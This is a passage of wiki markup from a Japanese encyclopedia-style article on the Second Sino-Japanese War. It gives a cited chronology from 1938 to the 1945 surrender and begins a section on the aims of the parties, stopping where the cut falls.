* 5月26日 - 近衛内閣改造によって6月3日には中国戦線の[[板垣征四郎]]が陸軍大臣、次官に[[東条英機]]関東軍参謀長が起用され、中央政府に関東軍勢力が入った <ref name="usu97to101"/>。関東軍は華北分離をめざし、また蔣介石への不信を持っていたが、[[宇垣一成]]外務大臣は蔣介石を高く評価しており、対中観が対立していた <ref name="usu97to101"/>。[[宇垣一成]]外務大臣は香港の[[中村豊一]]領事に、国民党[[孔祥熙]]の秘書喬輔三との和平工作([[宇垣工作]])を6月から9月まで進行させた<ref name="usu97to101"/>。
=== 漢口・広東攻略 ===
1938年6月、蔣介石ら中国軍による[[黄河決壊事件]]により河南、[[江蘇省]]、[[安徽省]]の3000平方キロメートルの土地が水没し、民間人の被害は数十万人となった<ref name="isikawa188">{{Harvnb|石川禎浩|2010|p=188}}</ref>。日本は6月15日、御前会議で漢口・広東攻略を決定した<ref name="usu97to101"/>。1938年7月4日、中支那派遣軍に第2軍、第11軍が編入され、武漢攻略作戦の態勢がとられた<ref name="usu97to101"/>。7月11日〜8月10日の日ソ武力衝突[[張鼓峰事件]]が解決したのち、[[8月22日]]から日本軍、[[武漢]]三鎮を攻略開始する([[武漢作戦]])<ref name="usu102to110">{{Harvnb|臼井勝美|2000|pp=102-110}}</ref>。10月12日、第2軍が信陽を占領<ref name="usu102to110"/>。
[[広東攻略戦|広東攻略]]を命じられた[[第21軍 (日本軍)|第21軍]](兵力7万)は1938年10月9日、台湾を出発、10月12日に[[大亜湾|バイアス湾]]上陸し、10月21日に[[広州市|広東]]を占領、日本軍の損失は戦死173、戦傷493だった<ref name="usu102to110"/>。
* 10月27日 - 日本軍(中支那派遣軍)、武漢三鎮を占領。武漢作戦の兵力は35万、第2軍戦死2300、戦傷7300、第11軍戦死4506、戦傷17380人だった<ref name="usu102to110"/>。武漢と、広東の占領によって日本の軍事行動は頂点に達した<ref name="usu102to110"/>。武漢陥落によって蔣介石は重慶に政府を移した<ref name="usu124to135"/>。
;日本の東亜新秩序宣言
* 1938年11月3日 - 近衛首相は、国民政府はすでに一地方政府にすぎず、抗日政策を続けるならば壊滅するまで矛を納めないと述べたうえで、日本の目的は「東亜永遠の安定を確保すべき新秩序の建設に在り」、国民政府が抗日政策を放棄すれば新秩序参加を拒まないとの[[東亜新秩序]]声明(第二次近衛声明)を出した<ref name="usu102to110"/>。蔣介石は12月28日、「東亜新秩序」は中国の奴隷化と世界の分割支配を意図していると批判、アメリカ合衆国も承認できないと日本を批判した<ref name="usu102to110"/>。
** 11月12日 - 中国軍により[[長沙大火]]が起され、人口50万の都市が潰滅。
** 11月 - [[援蔣ルート]](ビルマルート)完成。
** [[11月20日]]、秘密協定「[[日華協議記録]]」が成立し、日本側からは[[影佐禎昭]]大佐、[[今井武夫]]中佐、中国側は[[高宗武]]、[[梅思平]]の間で調印された<ref name="usu111to117"/>。日華協議記録には、日華防共協定、満洲国の承認、日本軍の撤退などが内容であった<ref name="usu111to117"/>。
** 11月30日、御前会議で日支新関係調整方針を決定<ref name="usu102to110"/>。
12月6日決定の「昭和十三年秋季以降対支処理方策」では占拠地拡大を企図せず、占拠した地域を安定確保の「治安地域」と、抗日殲滅地域の「作戦地域」に区分した<ref name="usu102to110"/>。12月16日、中国政策のための国策会社[[興亜院]]が成立する<ref name="usu102to110"/>。
;汪兆銘の重慶脱出と日本の対応
12月18日には蔣介石との路線対立で[[汪兆銘]]が重慶を脱出し、昆明、ハノイに向かう<ref name="usu111to117"/>。12月22日、近衛首相が[[近衛三原則]]を発表(第三次近衛声明)。日華協議記録と類似した内容であった<ref name="usu111to117"/>。12月25日、汪兆銘は日本の講和条件は亡国的なものではないと駐英大使につたえる一方、蔣介石は12月26日に近衛声明を批判し、また汪兆銘のハノイ行きは療養目的と公表した<ref name="usu119to123">{{Harvnb|臼井勝美|2000|pp=119-123}}</ref>。しかし、汪兆銘は12月30日の香港『南華日報』に、近衛声明にもとづき日本と和平交渉に入ると発表した<ref name="usu119to123"/>。1939年1月1日、国民党は汪兆銘の党籍を永久に剥奪した<ref name="usu119to123"/>。1939年3月21日に汪兆銘は暗殺されようとするが、曽仲鳴が代わりに殺害された<ref name="usu119to123"/>。
1939年(昭和14年)[[1月4日]]、近衛内閣、総辞職。平沼内閣となる<ref name="usu102to110"/>。
1939年の作戦としては1月からの[[重慶爆撃]]<ref name="usu124to135"/>、2月10日の[[海南島]]上陸、3月の[[海州区 (連雲港市)|海州]]など[[江蘇省]]の要所占領、3月27日の[[南昌]]攻略などがあったが、戦争は長期化の様相を呈し、泥沼化していった<ref name="usu111to117"/>。[[阿部信行]]大将も講演で昨年1938年暮れより1939年夏まで「戦さらしい戦さはない」「ただ平らであるが如く、斜めであるが如く、坂道をずるずる引摺られ上って行かなければならぬ」と述べた<ref name="usu111to117">{{Harvnb|臼井勝美|2000|pp=111-117}}</ref>。
* 4月 - 中国軍、南支で春季反撃作戦。
5月3日 (中攻45機)と4日 (中攻27機)に海軍航空隊が焼夷弾爆撃を実施した。重慶防空司令部の調査によると両日で焼死者3991名、負傷者2323名、損壊建物846棟に達し、英大使館、仏領事館、外国教会にも被害が及んだ<ref>臼井 (2000)、130頁。</ref>。
* 5月初め - 日本軍、[[襄東作戦]]。
* 5月7日、板垣陸相は、支那事変が解決されないのはソ連とイギリスの援助によるとして、ドイツとイタリアとの軍事同盟が必要と五相会議で述べた<ref name="usu111to117"/>。
* [[5月11日]]、[[ノモンハン事件]]勃発(日ソ武力衝突)。
* 6月13日 - ソ連、国民政府に対し1億5000万ドルの借款を供与。
6月14日に日本軍は天津のイギリス[[租界]]を封鎖するが、これは4月に発生した臨時政府要人暗殺テロ犯人の引き渡しを租界当局が拒否したからであった<ref name="usu111to117"/>。日本とイギリスは7月15日から有田・クレーギー会談を実施、イギリス側は中国における現実の事態を完全に承認し、日本軍が治安維持のために特殊な要求を有することを承認するとした<ref name="usu111to117"/>。ただし、これはイギリスの対中政策の変更を意味するものではないとされた<ref name="usu111to117"/>。
* 6月21日 - 日本軍、[[汕頭市|汕頭]]占領。
イギリスが日本に一歩後退したのに対してアメリカ合衆国は7月26日、[[日米通商航海条約]]の廃棄を突然、日本に通告し、日本側は衝撃をうけた<ref name="usu111to117"/>。11月にはグルー駐日アメリカ大使との会談がはじまるが、12月22日、アメリカは中国で日本軍が為替、通貨、貿易など全面的な制限を行っている以上、協定の締結は不可能として拒絶した<ref name="usu111to117"/>。
* [[8月23日]] - [[独ソ不可侵条約]]締結。8月28日、平沼内閣、総辞職、阿部信行内閣となる<ref name="usu111to117"/>。
* [[9月1日]] - [[欧州]]で[[第二次世界大戦]]勃発。阿部内閣は不介入を声明する<ref name="usu111to117"/>。
* [[9月15日]] - ノモンハン事件停戦協定成立。
* 9月下旬 - 日本軍、[[贛湘作戦]]、(贛は、江西地域のこと)。
* 10月 - 日本軍、[[翁英作戦]]。
* 11月7日 - 北支で日本兵捕虜が[[日本兵士覚醒連盟]]を結成。
* 11月 - 日本軍、援蔣ルート遮断を目的とする[[南寧作戦]]を実施。24日に[[南寧]]占領。
* 11月30日 - 日本政府、フランスに[[フランス領インドシナ|仏印]]経由での援蔣行為の停止を要求。
* 12月 - 中国軍、全戦線で[[冬季攻勢 (1939-1940年)|冬季大攻勢]]を開始。[[崑崙関の戦い]]。
* 12月13日 - 日本軍、[[九宮山作戦]]。
* 12月 - 日本軍、[[陸水作戦]]。
* 12月25日 - [[桂林市|桂林]]で[[鹿地亘]]らが[[日本人民反戦同盟]]を結成。
=== 汪兆銘南京政府樹立 ===
1939年5月汪兆銘は来日し、1939年6月に平沼内閣は中国新政府樹立方針、汪工作指導要綱を発表、前年11月30日の日支新関係調整方針を和平条件とした<ref name="usu119to123"/>。その後、汪兆銘は中国の各地方政府を周り、意向を打診、11月1日、上海で日本と交渉するが、日本の蒙疆、華北に防共駐屯、南京、上海、杭州にも駐屯、揚子江沿岸特定地点にも艦船部隊駐屯提案に対して汪側は太原〜石家荘〜[[滄州市|滄州]]のライン以北に限定するよう日本側に大きく譲歩した上で要求するが、日本側は山東省を加えるよう要求した<ref name="usu119to123"/>。12月30日、日華新関係調整要綱が成立<ref name="usu119to123"/>。
1940年(昭和15年)1月、阿部内閣から米内内閣に変わった<ref name="usu111to117"/>。
1月6日、汪兆銘の腹心高宗武らが上海を脱出し、香港で日本の講和条件を暴露し、汪兆銘は傀儡と訴えた<ref name="usu119to123"/>。これによって蔣介石の支持層が拡大した<ref name="usu119to123"/>。
* 1月下旬 - 日本軍、[[賓陽作戦]]。
* 2月2日 - 日本、[[衆議院]]で[[斎藤隆夫]]議員が対中国政策を批判([[反軍演説]]。3月7日議員除名)。
* [[3月30日]] - 汪兆銘、南京で親日政府樹立([[汪兆銘政権|中華民国南京国民政府]])<ref name="usu119to123"/>。
=== 三国同盟と英米交渉 ===
1940年5月・6月のドイツ軍による西ヨーロッパの席捲を進撃を背景に日本政府は[[6月24日]]、英仏にビルマルートおよび香港経由による援蔣行為の停止を要求した<ref name="usu111to117"/>。
5月18日より、日本軍、漢口、運城基地から重慶、成都を空襲する[[一〇一号作戦]]が10月26日まで実施された<ref name="usu124to135"/>。6月12日には[[宜昌作戦|宜昌占領]]<ref name="usu124to135"/>。6月24日から6月29日までは連続して猛爆が行われた <ref name="usu124to135"/>。
* 1940年7月11日、アメリカは日本に対して、武力による領土獲得政策を堅持する諸国と協調するのか、という確認をしたが、米内内閣は答弁することがないまま、陸軍の総意によって<ref name="usu119to123"/> 倒壊し、7月21日に[[第二次近衛内閣]]が成立する<ref name="usu111to117"/>。
7月18日、英国、日本の要求に応じ援蔣ルート(ビルマルート)を閉鎖<ref name="usu124to135"/>。
<!--7月20日 - 重慶で日本人民反戦同盟の成立大会を開催--->7月26日、[[基本国策要綱]]で「皇国の国是は[[八紘一宇|八紘を一宇とする肇国]]の大精神」が唱えられた<ref name="usu124to135">{{Harvnb|臼井勝美|2000|pp=124-135}}</ref>。7月27日の大本営では南方問題解決のため武力を用いることが決定された<ref name="usu124to135"/>。8月1日、松岡外相は日本満洲シナを一環とする[[大東亜共栄圏]]確立という外交方針を発表した<ref name="usu124to135"/>。
* 8月20日<!-- 8月2日としている文献もある -->〜12月5日 - 20万の八路軍が、山西から河北にかけての鉄道、通信網、日本軍警備拠点を一斉攻撃し、大攻勢をかけた[[百団大戦]]が展開される<ref name="isikawa200">{{Harvnb|石川禎浩|2010|pp=200-201}}</ref>。日本軍は不意をつかれ、以後「敵性住民」の死滅も認めた報復攻撃によって八路軍の抗日根拠地の掃討作戦を開始し、中国はこれを[[三光作戦]]と呼んだ<ref name="isikawa200"/>。この掃討作戦では毒ガスも使用されたといわれ、八路軍の抗日根拠地のなかには人口が3分の2になった地区もあった<ref name="isikawa200"/>。
*1940年9月14日、松岡外相は陸海軍首脳会議において「英米との連携は不可能ではないが、しかしそのためには支那事変を処理しなくてはならず」「残された道は独伊との提携」と主張、陸海首脳はこれに同意した<ref name="usu124to135"/>。9月23日、日本軍、[[仏印進駐#北部仏印進駐|北部仏印進駐]]。9月25日、米国、国民政府に対し2500万ドルの借款を供与。9月27日には[[日独伊三国同盟]]が締結される<ref name="usu124to135"/>。9月30日、米国、[[鉄鋼]]・[[屑鉄]]の対日輸出を禁止する法令を発布<ref name="usu124to135"/>。日本はこれに抗議したが、ハル国務長官は、アメリカの国防上の判断であるとして抗議を拒絶した<ref name="usu124to135"/>。
* 9月末 - 日本陸軍今井武夫大佐らの蔣介石夫人[[宋美齢]]の弟[[宋子良]]への日中和平工作([[今井武夫#桐工作|桐工作]])を行っていたが、進展せず、断念(のちに宋子良を称した人物は偽物で、この和平工作は[[藍衣社]]の[[戴笠]]の指揮下に行われていたことが分かっている)<ref name="usu124to135"/>。
[[画像:Second Sino-Japanese War WW2.png|thumb|1940年時点の日本軍占領地域(赤色部分)]]
* 10月4日、イギリスはビルマルート再開を中国側に通知する<ref name="usu124to135" />。同日、日本軍[[731部隊]]が衢県において細菌戦を実行したとされる<ref>[https://web.archive.org/web/20111204112320/http://www.courts.go.jp/hanrei/pdf/A9D4C04B00E1852349256C30001FA66A.pdf] 平成14年8月27日判決言渡第1事件・平成9年(ワ)第16684号 損害賠償請求事件第2事件・平成11年(ワ)第27579号 損害賠償等請求事件</ref>。
* 10月23日、日本首脳会議で英米依存経済から自給圏確立のために南方問題を武力解決する方針が確認された<ref name="usu124to135"/>。
* 11月〜12月 - 日本軍、[[漢水作戦]]。11月には支那派遣軍の兵力は20個中隊、総計72万8000人であった<ref name="usu124to135"/>。11月23日日本は[[御前会議]]で[[支那事変処理要綱]]を決定、これは1938年11月30日の日支新関係調整方針と比較すると宥和的なものであった<ref name="usu124to135"/>。11月30日、日本は汪兆銘南京政府と[[日華基本条約]]に調印し[[日満華共同宣言]]を発表、南京政府を中国中央政府として正式承認した<ref name="usu124to135"/>。米英は即座に汪兆銘政府を否認、米国は国民政府に対して借款の追加供与1億ドル、12月10日には英国も国民政府に一千万ポンドの借款を供与すると発表した<ref name="usu124to135"/>。12月11日、ソ連も国民政府に対し1億元の借款を供与([[物々交換|バーター]]決済)。12月13日、蔣介石はアメリカに航空機5〜10%の提供、日本本土遠距離爆撃のために[[B-17 (航空機)|B17]][[戦略爆撃機]]を要請した<ref name="usu124to135"/>。
* 12月18日 - 英国、援蔣ルート(ビルマルート)を再開。
* 1941年(昭和16年)1月7日、国民政府の移動命令に応じなかった共産党との間で対立が激化し、国民党軍の包囲作戦によって共産党軍は壊滅的打撃を受けた([[皖南事変]])<ref name="usu124to135"/>。1月25日、蔣介石はスターリンに軍律の問題に過ぎないと答えた<ref name="usu124to135"/>。
* 1月〜2月 - 日本軍、[[予南作戦]]、3月15日、[[錦江作戦]]。
* 4月 - 米国、国民政府に5千万ドル借款成立、{{要出典範囲|date=2015-06-22|[[中ソ中立条約]]成立}}。
* [[4月13日]] - [[日ソ中立条約]]調印。蔣介石は衝撃を受けるが、ソ連は軍事援助はこれまで通り継続するとした<ref name="usu135to142">{{Harvnb|臼井勝美|2000|pp=135-142}}</ref>。
== 大東亜戦争(太平洋戦争)下の中国戦線 ==
=== 日米交渉と大東亜戦争([[第二次世界大戦]]) ===
{{Main|日米交渉}}
[[ファイル:Casualties_of_a_mass_panic_-_Chungking,_China.jpg|thumb|防空壕に戻ろうとして<!--4,000人が-->踏みつけられたり、窒息したりして死亡した市民(1941年6月5日、[[重慶トンネル虐殺事件|重慶防空壕窒息事件]])]]
1941年4月中旬より、重慶工作の道がないため、[[日米交渉]]が開始された<ref name="usu135to142"/>。日本は三国同盟3条の日本に参戦義務についてと、アメリカ仲介による日中戦争([[支那事変]])の解決を要望したが、アメリカは門戸開放、機会均等の無条件適用を提示した<ref name="usu135to142"/>。
* 5月 - アメリカ、[[対中武器貸与法]]発動。
* 5月 - 日本軍、[[江北作戦]]。5月7日〜6月15日 - 北支那方面軍、[[中原会戦|中原会戦(百号作戦)]]。5月〜8月末 - 日本軍、再び重慶を大空襲([[一〇二号作戦]])。8月、[[遠藤三郎 (陸軍軍人)|遠藤三郎]]第三飛行団長は重慶爆撃の有効性に疑問を呈し、再検討を要請した<ref name="usu124to135"/>。
* 6月 - [[シンガポール]]で英・蔣軍事会議。
6月22日、[[独ソ戦]]がはじまると、松岡外相は即時対ソ参戦を上奏したが、7月2日の御前会議は独ソ戦不介入を決定、南方進出を強化し、対英米戦を辞せずと決定した<ref name="usu135to142"/>。7月7日 - [[関東軍特種演習]](関東軍、対ソ戦を準備するが8月に断念)。7月10日、アメリカ対案に対して外務省顧問[[斉藤良衛]]は、南京政府の取り消し、満洲の中国への返還、日本軍の無条件撤兵などを意味していると解釈、松岡外相もこれに賛同した<ref name="usu135to142"/>。7月28日、日本軍、[[仏印進駐#南部仏印進駐|南部仏印進駐]]を実施、英米は日本資産を凍結した<ref name="usu135to142"/>。8月1日 - 米国、対日輸出を大幅に制限。
* 9月5日〜11月6日 - [[第一次長沙作戦]](加号作戦)。
* 10月 - [[マニラ]]で英米蘭中の軍事会談。
* 10月16日、近衛内閣総辞職、18日、東条内閣成立<ref name="usu143to155">{{Harvnb|臼井勝美|2000|pp=143-155}}</ref>。11月1日から翌日午前1時半までの会議で、自存自衛を完し大東亜新秩序を建設するための米英蘭戦争を決意するとともに、対米交渉が12月1日までに成功すれば武力発動を中止するという[[帝国国策遂行要領]]が採択された<ref name="usu143to155"/>。対米案では甲乙二案が了承され、甲案では、これまでに日中提携が消えて、中国での通商無差別原則の無条件承認を認める譲歩をし、また和平成立後2年で撤兵するとされ、満洲については議題として触れないというものであった<ref name="usu143to155"/>。乙案は、南方に限定したもので仏印南部の日本軍の北部移駐、在米資産の凍結復帰などが書かれ、11月7日に甲案が11月20日に乙案がハル国務長官に提示された<ref name="usu143to155"/>。
* 11月22日 - 米国務長官[[コーデル・ハル|ハル]]、暫定協定案を纏め、ワシントンの英蘭濠中代表に日本の乙案を提示したうえで、南部仏印からの日本軍撤退と対日禁輸の一部解除というアメリカの対案を提示したが、中国の[[胡適]]大使はこれでは日本は対中戦争を自由に遂行することが可能だとして強く反対した<ref name="usu143to155"/>。11月24日、ハルは英蘭濠中代表の説得を再度行ったが中国側は北部仏印の日本軍25000を5000にするよう求めて譲らなかった<ref name="usu143to155"/>。蔣介石はアメリカは中国を犠牲にして日本と妥協しようとしているとして激怒、ラティモアは蔣介石がここまで怒るのははじめてだと米大統領に報告した<ref name="usu143to155"/>。さらに蔣介石はスティムソン陸軍長官、ノックス海軍長官にも親書を送り、チャーチルももし中国が崩壊すれば英国も危機に瀕するとしてルーズベルト大統領を説得した<ref name="usu143to155"/>。11月26日 - 米国務長官ハルは暫定協定案を放棄し、[[ハル・ノート]]を作成。同日野村・来栖両大使へ手交。日本はこれを[[最後通牒]]と解し、対米開戦に傾く。
* 12月〜翌年1月 - [[第二次長沙作戦]]。
;大東亜戦争(太平洋戦争)開戦
* 12月8日 - 日本、上海で降伏勧告に応じなかったイギリス砲艦ペトレル号を撃沈、華北では天津英仏租界の接収、華南沙面イギリス租界へも進駐、[[マレー半島]]上陸、及び[[真珠湾攻撃]]。広東第23軍、[[香港]]攻略開始([[香港の戦い]])。こうして[[第二次世界大戦]]([[大東亜戦争]]/[[太平洋戦争]])が勃発する。日米開戦のニュースに重慶の国民政府は狂喜した<ref name="usu143to155"/>。12月9日 - 中華民国(重慶政府、蔣介石政権)、日独伊に宣戦布告<ref name="usu143to155"/>。
* [[12月12日]] - 日本、対米英戦争を支那事変(対中国戦線)も含めて「[[大東亜戦争]]」と呼称することを閣議決定する。同日、スターリンは蔣介石の参戦催促に対して兵力を極東にさくことはできないため対日参戦は考えられないと答えた<ref name="usu143to155"/>。
* [[12月25日]] - 日本軍、香港占領。
* 12月31日、アメリカの要請で蔣介石は中国戦区連合軍総司令官に就任、蔣介石の希望で[[ジョセフ・スティルウェル]]が[[中国国民党]]軍参謀長に就任する<ref name="usu143to155"/>。
1942年(昭和17年)1月1日、蔣介石は日本は一時の興奮を得るが、結局は自滅すると語った<ref name="usu143to155"/>。
* [[1月31日]] - 日本軍、[[ビルマ]]攻略開始([[援蔣ルート]]の遮断)。
* 3月 - 米国、国民政府に5億ドル借款成立。
* 5月〜9月 - {{仮リンク|浙カン作戦|zh|浙赣战役|label=浙贛作戦}}([[せ号作戦]])、浙は浙江省、贛は江西省の旧称。
* 5月末 - 日本軍、ビルマ全域を占領。
* 10月 - 英米、中国における治外法権を撤廃(不平等条約の廃止)。
;1943年(昭和18年)
* 1月 - [[延安]]で「[[日本人解放連盟]]」成立、前線の日本兵へ投降の呼びかけ。
* 1月9日 - 日本・南京国民政府(汪兆銘政権)は、[[日華共同声明]]を発表。汪兆銘政権、米英に宣戦布告。[[日華協定]]を締結(日本の南京政府への租界返還・治外法権撤廃など)。
* [[1月11日]] - 国民政府、英米両国と治外法権撤廃についての条約を締結。
* 1月14日 - イタリア、南京政府に対し租界返還・治外法権撤廃を通告。
* 2月21日 - 日本軍、フランス([[ヴィシー政権|ヴィシー政府]])側の了解(広州湾共同防衛協議)を得て、広州湾のフランス租界([[広州湾租借地]])に進駐。
* 2月〜3月 - [[江北殲滅作戦]]、江北は武漢の西方、揚子江の北側。
* 5月〜6月 - [[江南殲滅作戦]]。
* [[10月30日]] - 日本・南京政府が新たな同盟条約に調印。
* 11月〜翌年1月 - [[常徳殲滅作戦]]、常徳は武漢の南西。
* 11月22日〜11月26日 - [[カイロ]]で英米中首脳会談([[カイロ会談]])。
* 11月25日 - 台湾を米中連合航空隊が空襲([[新竹空襲]])。
[[ファイル:Situation at the End of World War Two.PNG|thumb|大陸打通作戦後の日本軍占領地域(赤部分)、及び中国共産党ゲリラの拠点地域(ストライプ部分)]]
;1944年(昭和19年)
* 3月25日 - 日本軍、黄河鉄橋の修理完了。
* 4月〜翌年1月 - [[大陸打通作戦]](1号作戦)、前半が[[京漢作戦]](コ号作戦)、後半が[[湘桂作戦]](ト号作戦)。
日本軍、4月19日に[[鄭州市|鄭州]]を占領、5月25日には [[洛陽市|洛陽]]を占領。京漢作戦が成功。
* 6月2日〜9月14日 - [[拉孟・騰越の戦い]]において日本軍守備隊の[[玉砕]]。同地の失陥によって援蔣ルート(ビルマルート)再開。
* 6月16日 - [[成都市|成都]]を基地とするアメリカ軍B-29爆撃機が、日本本土を空襲開始([[八幡空襲]])。
* 6月18日 - 日本軍、長沙を攻略。
* 7月2日 - [[インパール作戦]]の失敗により、援蔣ルート遮断の継続を目的とする[[断作戦]]を新たに発令。
* 7月7日 - サイパン陥落。アメリカ軍は成都に替わるB-29による日本本土爆撃拠点を確保。
* 11月10日 - 汪兆銘が客死。
;1945年(昭和20年)
* 1月 - 新たな援蔣ルートである[[レド公路]]が開通。
* 1月7日 - 成都から出撃したB-29爆撃機が大村を空襲。これを最後に成都からの日本本土空襲は打ち切り。
* [[2月4日]]〜[[2月11日]] - [[ヤルタ会談]]での戦後処理議題で蔣介石は満洲支配の権益を[[ソ連]]に譲ることを約束。
* 3月3日〜4月11日 - [[老河口作戦]]。日本軍が老河口飛行場を占領。
* 4月15日〜5月9日 - [[芷江作戦]](二〇号作戦)。中国軍の反撃を受けた日本軍は[[芷江トン族自治県|芷江]]飛行場の手前、白馬山付近までしか進めず死傷2万8000の損害を被って敗退。
* 5月25日 - 日本軍、南寧を放棄
* [[8月6日]]、[[8月9日]] - アメリカ、広島・長崎へ原子爆弾を投下。([[日本への原子爆弾投下]])
* [[8月8日]] - ソ連、日ソ中立条約を破棄し、満洲国・[[朝鮮半島]]に侵攻。
* [[8月14日]] - [[葛根廟事件]](ソ連軍、日本人避難民を虐殺)<ref name="秦-2002-130">[[秦郁彦]]「日本開拓民と葛根廟の惨劇 (満州)」秦郁彦・佐瀬昌盛・常石敬一編『世界戦争犯罪事典』文藝春秋、2002年8月10日 第1刷、ISBN 4-16-358560-5、260~261頁。</ref><ref name="坂部-2012-534">[[坂部晶子]]「開拓民の受難」[[貴志俊彦]]・[[松重充浩]]・[[松村史紀]]編『二〇世紀満洲歴史事典』吉川弘文館、二〇一二年 (平成二十四年) 十二月十日 第一刷発行、ISBN 978-4-642-01469-4、543頁。</ref>、[[ポツダム宣言]]受諾。
* [[8月15日]] - 日本、連合国に対し[[ポツダム宣言]]の受諾を正式に表明。([[日本の降伏]])
* [[8月17日]] - 満洲国皇帝[[愛新覚羅溥儀|溥儀]]が退位宣言。[[満洲国]]が消滅。
* [[9月2日]] - 日本、連合国、米戦艦[[ミズーリ (戦艦)|ミズーリ号]]にて[[日本の降伏文書|降伏文書]]に調印。
* [[9月9日]] - 南京にて連合国主催の調印式が行われ、支那派遣軍総司令官[[岡村寧次]]大将、中華民国陸軍総司令[[何応欽]]、降伏文書に調印。
== 登場勢力の立場と目的 ==
<!--戦争に関与していた勢力の目的や動機を整理する -->
{{雑多な内容の箇条書き|section=1|date=2019年5月}}
;{{JPN1889}}
: [[満洲国]]独立によって日中は安定し、[[東アジア]]の平和秩序が図られるとした(天羽声明)<ref name="usui10to12">{{Harvnb|臼井勝美|2000|pp=10-12}}</ref>。また、日中戦争([[支那事変]])は明確な開戦決意でなく偶発的に開戦したため戦争目的を確立するまでに時間がかかった<ref name="tobe"/>。そのため、対英米蘭戦の[[大東亜戦争]](日中戦争(支那事変)および[[太平洋戦争]])の際には開戦目的が明確化され、日本側の戦争目的は「自存自衛」と「(西洋帝国主義からの)アジア解放」を柱とした<ref name="tobe">[[戸部良一]]「[http://www.nids.go.jp/event/forum/pdf/2007/forum_j2007_04.pdf 日本の戦争指導—3つの視点から]」『戦争史研究国際フォーラム報告書第6回』防衛省,2008年{{要ページ番号|date=2019年4月}}</ref>。[[東亜新秩序]]・[[大東亜共栄圏]]の確立によってアジア解放は実現されると主張された<ref name="tobe"/>。日本軍は中国軍の戦意を過小評価し、短期間で戦争が終結すると考えていたが、12月の首都[[南京攻略戦|南京陥落]]後も、国民政府は首都を内陸部の[[重慶市|重慶]]に移して徹底抗戦の構えを見せ、戦争は長期化の兆候を示し始めた。これに対して、不拡大派の石原莞爾作戦部長は[[ソビエト連邦]]への警戒を第一とし中国での戦争を拡大するべきでないと主張。戦争の早期終結を目指す参謀本部も長期化に反対の姿勢を見せた。駐華ドイツ大使[[トラウトマン工作|トラウトマンによる和平工作]]も模索され、蔣介石も一時講和に前向きな姿勢を見せたものの、南京陥落で強硬姿勢に転じた近衛内閣が[[トラウトマン和平工作#1937年12月|和平条件]]の要求を過重なものにしたため、蔣介石は態度を硬化させることとなった。大本営政府連絡会議の中で、参謀本部は近衛内閣政府の和平交渉打切り案に激しく反対したが、[[米内光政|米内海相]]などからの戦時中に内閣退陣を起すことを避けるべしとの意見に折れた<ref>南京戦史資料集、[[偕行社]]、1989年{{要ページ番号|date=2015-06-22}}</ref>。近衛内閣は蔣介石との和平交渉を打ち切り、「帝國政府は爾後国民政府を対手とせず」との声明を出す一方、蔣介石と対立する[[汪兆銘]]と講和することで問題解決を図ろうとした。{{要出典範囲|date=2015-06-22|その後、戦争終結のため[[援蔣ルート]]の遮断を狙い、[[ヴィシー政権]]のフランスと合意の上、[[フランス領インドシナ]]へと進駐したが、このことが[[東南アジア]]を植民地にしていたアメリカや[[イギリス]]、[[オランダ]]などを刺激することとなり、アメリカは[[経済制裁]]を発動し、[[太平洋戦争]]([[大東亜戦争]])に至る}}。
; {{MCK}}
: ソビエト連邦と対峙する[[関東軍]]の後方支援に終始し、[[中華民国の歴史#国民政府時代(1928年 - 1949年)|蔣介石中華民国政府]]とはほとんど交戦しなかった。
; {{MJG}}
: [[盧溝橋事件]]勃発後、[[内蒙古]]へ本格出兵した日本軍に応じる形で1937年に樹立された[[蒙古連盟自治政府|蒙古連盟]]・[[察南自治政府|察南]]・[[晋北自治政府|晋北]]の3自治政府を、1939年に統合して蒙古連合自治政府が樹立された。名目としては[[汪兆銘政権|汪兆銘中華民国南京国民政府]]下の自治政府という位置づけだった。
; [[ファイル:Flag_of_the_Republic_of_China_(1912-1928).svg|25px]] [[冀東防共自治政府]]
: 1935年から1938年まで[[殷汝耕]]によって[[河北省]]に存在した地方政権。[[中華民国臨時政府 (北京)|中華民国臨時政府]]に合流。
; [[ファイル:Flag_of_the_Republic_of_China_(1912-1928).svg|25px]][[中華民国臨時政府 (北京)]]
: 1937年から1940年まで[[王克敏]]を首脳として北京に存在した。日本に同調し、日本の傀儡政権ともいわれた。[[汪兆銘政権]](南京政府)が成立すると[[華北政務委員会]]となった。
; [[ファイル:CJZ1.png|25px]][[中華民国維新政府]]
: 1938年から1940年まで南京に存在した。日本の傀儡政権。[[汪兆銘政権]](南京政府)へ編入。
; {{CHN1940}} ([[汪兆銘政権]])
: 日本との徹底抗戦を主張する蔣介石に対して、当時の日本の首相[[近衛文麿]]は「帝国政府は爾後国民政府を対手とせず」「新興支那政権の成立発展を期待する」との近衛声明を出し、自ら和平の道を閉ざした。その後、蔣介石に代わる新たな交渉相手として国民党No.2である[[汪兆銘]]による中国国民党政権を樹立させた。汪は蔣介石の[[督戦隊|督戦隊戦法]]や[[ゲリラ|ゲリラ戦術]]、[[清野戦術]]などの中国民衆を巻き込んだ戦法に強い反発と[[孫文]]による「日中戦うべからず」の遺訓から「一面抵抗、一面交渉」の基本姿勢のもと、反共・和平解決を掲げ、1938年に蔣介石の中華民国政府から離反した。汪は日本の力を背景として[[北京市|北平]]の[[中華民国臨時政府 (北京)|中華民国臨時政府]]や[[南京市|南京]]の[[中華民国維新政府]]などを集結して、1940年に蔣介石とは別個の国民政府を設立したが、蔣介石の国民政府から汪兆銘に追随するものがいなかった上、北支・中支などの一部の軍閥を除き、中国各地を支配していた多くの諸軍閥に支持されず、国際的な承認も得られなかった<ref>[[伊香俊哉]]『満州事変から日中全面戦争へ』[[吉川弘文館]]、2007年{{要ページ番号|date=2015-06-22}}</ref>。主に共産党軍を相手に戦った。
; {{CHN1928}}([[蔣介石政権]])
